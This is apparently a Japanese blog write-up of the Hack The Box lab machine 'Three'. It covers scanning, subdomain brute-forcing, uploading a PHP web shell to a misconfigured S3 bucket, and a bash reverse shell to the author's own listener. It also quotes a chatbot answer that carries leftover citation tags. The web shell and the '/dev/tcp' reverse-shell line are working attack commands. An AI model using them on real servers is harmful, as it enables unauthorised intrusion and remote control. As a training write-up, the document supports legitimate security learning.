偵察
┌──(root㉿kali)-[~]
└─# nmap --min-rate=1000 -sV 10.129.196.107
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-16 11:39 JST
Nmap scan report for 10.129.196.107
Host is up (0.10s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Site doesn’t have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.82 seconds
言うまでもないが、22番と80番が開放されている。
対象のOSはLinux系でUbuntuである。
該当IPアドレス直打ちでwebページにアクセス
バンドのページが出てきた。
探索していたらメールアドレスを見つけた。
サブドメイン探索
相変わらずGobusterが最強ツール。
今回はバーチャルホストにブルーとフォースをする。（名前ベースのバーチャルホストである。）
vhostで指定可能。
gobuster vhost -w /opt/useful/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://thetoppers.htb
ワードリストの使い分けはこのサイトから引用、今回はサブドメインを割り出したいので
subdomains-top1million-5000.txt
こいつを使う。
ログは割愛しますが、s3.thetoppers.htbがサブドメインだとわかりました。
前述の通りetc/hostsにipアドレスとサブドメインの関係を記述した。
AWSのS3バケットのことである。
AWS CLIを取り敢えずDLする。
┌──(root㉿kali)-[~]
└─# aws configure
AWS Access Key ID [None]: temp
AWS Secret Access Key [None]: temp
Default region name [None]: temp
Default output format [None]: temp
設定は正直適当。
このサイトを参考にする・・・。（包括的にかかれていてすごくイイ！）
┌──(root㉿kali)-[~]
└─# aws --endpoint=http://s3.thetoppers.htb s3 ls
2025-06-16 20:27:13 thetoppers.htb
バケットの中身も見るよ。
┌──(root㉿kali)-[~]
└─# aws --endpoint="http://s3.thetoppers.htb" s3 ls s3://thetoppers.htb
PRE images/
2025-06-16 20:27:13 0 .htaccess
2025-06-16 20:27:13 11952 index.php
イマイチ、AWS CLIの文法が板につかない...。
バックドアの作成
所謂、Webシェルである。
┌──(root㉿kali)-[~]
└─# echo '<?php system($_GET["cmd"]); ?>' > shell.php
┌──(root㉿kali)-[~]
└─# aws --endpoint="http://s3.thetoppers.htb" s3 cp shell.php s3://thetoppers.htb
upload: ./shell.php to s3://thetoppers.htb/shell.php
・$_GET["cmd"]：Webブラウザからshell.phpにアクセスした時にURLの末尾に付けられた?cmd=...の部分（クエリパラメータ）の値を受け取る。
・system(...)：クエリパラメータに入力されたものをコマンドとして実行する。
というのがwebシェル。
ここで疑問が・・・
サブドメイン s3.aaa123.comにshell.phpをアップロードしたとするじゃん？
だけどaaa.com（プライマリードメイン）からでもアクセスって出来るの？
こういうときはAIに聞いてみる。。。
ご指摘の通り、素晴らしい観察眼です。まさにそこが、この「Three」というマシンの攻略の鍵となる部分です。
以前、「原則として、サブドメインにアップロードしたファイルにはプライマリードメインからアクセスできない」と説明しましたが、このHack The Boxの演習はその**「原則ではない例外的な構成」**になっているため、アクセスが可能になっています。
その理由は、このサーバーが**「Apacheウェブサーバー（プライマリードメイン）の公開ディレクトリ（ウェブ ルート）として、S3バケット（サブドメインのサービス）がマウント（接続・利用）されている」**という特殊な構成になっているからです。
ライトアップファイルの中の以下の部分が、その決定的証拠です。
1. **S3バケットの中身を確認**
[cite_start]まず、`awscli`を使って`s3://thetoppers.htb`というバケットの中にあるファイル一覧を表示させます [cite: 55]。
[cite_start]その結果、`index.php`、`.htaccess`、`images/` というディレクトリが見つかりました [cite: 55, 56]。
2. **決定的な推論**
ライトアップの執筆者は、このファイル一覧を見て次のように結論付けています。
> [cite_start]"It seems like this is the webroot of the website running on port 80. So the Apache server is using this S3 bucket as storage." [cite: 57]
> [cite_start]**（日本語訳）「これはポート80で動作しているウェブサイトのウェブルートのようです。つまり、ApacheサーバーがこのS3バケットをストレージとして利用しているのです。」** [cite: 57]
### どういうことか？
分かりやすく言うと、以下のようになっています。
* [cite_start]**プライマリードメイン (`http://thetoppers.htb`)**: このアドレスへのアクセスは、Apacheウェブサーバーが担当します [cite: 7, 8]。
* **Apacheの設定**: 通常、Apacheはサーバー内の特定のフォルダ（例: `/var/www/html`）をウェブサイトの公開場所（ウェブルート）として使います。しかし、このマシンでは、その公開場所として**ローカルのフォルダではなく、S3バケットを指定する**という特殊な設定がされています。
* [cite_start]**S3バケット (`s3.thetoppers.htb`)**: ファイルを保存するためのストレージサービスです [cite: 47, 48]。
**例えるなら…**
あなたのパソコンの「マイドキュメント」フォルダが、パソコン本体のハードディスクではなく、外付けハードディスク（USBメモリなど）の中の特定のフォルダを指すように設定されているような状態です。
* **ファイルを外付けハードディスクに保存する**
[cite_start]（＝`shell.php`をS3バケットにアップロードする [cite: 63]）
* **パソコンの「マイドキュメント」フォルダを開く**
（＝プライマリードメイン `http://thetoppers.htb/` にアクセスする）
* **先ほど保存したファイルがそこに見える**
[cite_start]（＝`http://thetoppers.htb/shell.php` でファイルにアクセスできる [cite: 64]）
### まとめ
このケースでは、DNSの仕組みで2つのドメインが繋がっているわけではありません。**サーバー内部のアプリケーション（Apache）の設定によって、一方のサービス（S3）がもう一方のサービス（Webサーバー）の部品として利用されている**ため、S3バケットにアップロードしたファイルがプライマリードメインから直接見える、というわけです。
これは、クラウドストレージをウェブサーバーと連携させる際によく見られる構成の一つであり、この演習ではその設定不備を突いています。
AIに褒められた嬉しい...笑
リバースシェル実装
ipconfigでtun0のインターフェイスにバインドされてるIPアドレスを確認。
shファイルの確認
bash -i >& /dev/tcp/<私の`tun0`に紐づけられているIPアドレス（一応ここには書きません。）>/1337 0>&1
長いので省きますが、pythonで簡単なhttpサーバーを立て、そこにshファイルをホストします！！あと、ncでモニタリングもするよ。
┌──(root㉿kali)-[~]
└─# nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.14.32] from (UNKNOWN) [10.129.7.29] 59312
bash: cannot set terminal process group (1470): Inappropriate ioctl for device
bash: no job control in this shell
www-data@three:/var/www/html$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@three:/var/www/html$ cat /var/www/flag.txt
cat /var/www/flag.txt
やったあああああ、今回結構ボリュームあった気がする。楽しかった。
最後に振り返り
リバースシェルを置いてからの話
コマンド送信: 攻撃者は、最初に確保したshell.php（Webシェル）を使い、標的サーバーに「curlでshell.shをダウンロードしてbashで実行しろ」という命令をブラウザ経由で送る。
ファイル要求: 命令を受けた標的サーバーは、攻撃者PCのPythonサーバー（ポート8000）にshell.shファイルを要求。（pythonサーバーはシェルファイルをホストしている。）
ファイル送信: Pythonサーバーは、要求に応じてshell.shを標的サーバーに送信します。
スクリプト実行: 標的サーバーは、受け取ったshell.shを実行。このスクリプトには「攻撃者のIPアドレス:1337に接続しろ」という命令が書かれている。
リバースシェル接続: shell.shの命令に従い、標的サーバーは攻撃者PCのポート1337へ接続を開始。
操作権限の獲得: 攻撃者PCのNetcatがこの接続をキャッチし、通信路が確立される。攻撃者は標的サーバーを遠隔操作できるようになる。
参考文献（参照日2025年6月16日）
公式Writeup